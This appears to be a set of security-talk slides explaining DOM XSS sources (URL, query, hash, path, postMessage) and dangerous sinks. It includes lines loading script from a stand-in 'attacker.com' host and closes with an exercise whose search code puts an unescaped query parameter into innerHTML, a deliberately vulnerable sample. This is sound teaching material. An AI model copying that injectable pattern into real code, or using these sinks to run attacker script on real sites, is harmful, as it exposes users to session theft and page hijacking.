Sources & Sinks
The Source → Sink Model
Data Flow: Source to Sink
SRC
SINK
- Sources = places where data can be supplied to the application
- Entry points for an attacker to supply malicious data
- Sinks = places where data could have potentially harmful side effects
- Places where we want malicious data to end up in
DOM XSS Sources
URL Sections
- The URL itself
- Query parameters:
https://example.com/?query1=value1&query2=value2 - URL hash:
https://example.com/#URL-hash - Path:
https://example.com/some/path
postMessage Listeners
addEventListener("message", function(e) { ... })- Allows for messages to be sent between windows (more on this later)
Common Ways URL Sources Are Handled
JavaScript
// URL
console.log("href:",location.href);
// Query params
console.log("query params:",location.search);
params = new URLSearchParams(location.search);
console.log("query1 value:",params.get("query1"));
// URL Hash
console.log("URL Hash:",location.hash);
// path
console.log("path:",location.pathname);
Output (if URL is https://www.bsides.jkbrah.com/some/path?query1=value1&query2=value2#thehash)
href: https://www.bsides.jkbrah.com/some/path?query1=value1&query2=value2#thehash
query params: ?query1=value1&query2=value2
query1 value: value1
URL Hash: #thehash
path: /some/path
Source → JavaScript API Mapping
URL
→
location.href
Query params
→
location.search, URLSearchParams
Hash
→
location.hash
Path
→
location.pathname
DOM Sinks
DOM Manipulations with Malicious HTML
document.write(<payload>)element.innerHTML / outerHTML = <payload>
Redirects/URLs with javascript: URI
window.location / location.href = javascript:payloadwindow.open("javascript:payload")
Evaluation with Malicious JS
eval("payload")Function("payload")()setTimeout / setInterval("payload")
Element Attributes
iframe.src = javascript:payloadiframe.srcdoc = "<payload>"
script.src = https://attacker.comimport('https://attacker.com')will load and run JS from a URL
a.href = javascript:payload
Note: More sinks depending on JS framework and other functionality (jQuery, Angular, Vue, etc.)
Exercise: DOM XSS Hello World
JavaScript
var params = new URLSearchParams(window.location.search);
var query = params.get('q') || '';
document.getElementById('search').value = query;
function search() {
var q = document.getElementById('search').value;
window.location.search = '?q=' + encodeURIComponent(q);
}
var html = '';
var q = query.toLowerCase();
var results = members.filter(function(m) {
return !q || m.name.toLowerCase().includes(q) || m.role.toLowerCase().includes(q);
});
if (query) {
html += '<p class="results-header">Showing results for <b data-term="' + query + '"></b></p>';
}
results.forEach(function(m) {
html += '<div class="team-card"><strong>' + m.name + '</strong> <span class="role">' + m.role + '</span></div>';
});
if (results.length === 0) {
html += '<div class="no-results">No results found.</div>';
}
document.getElementById('results').innerHTML = html;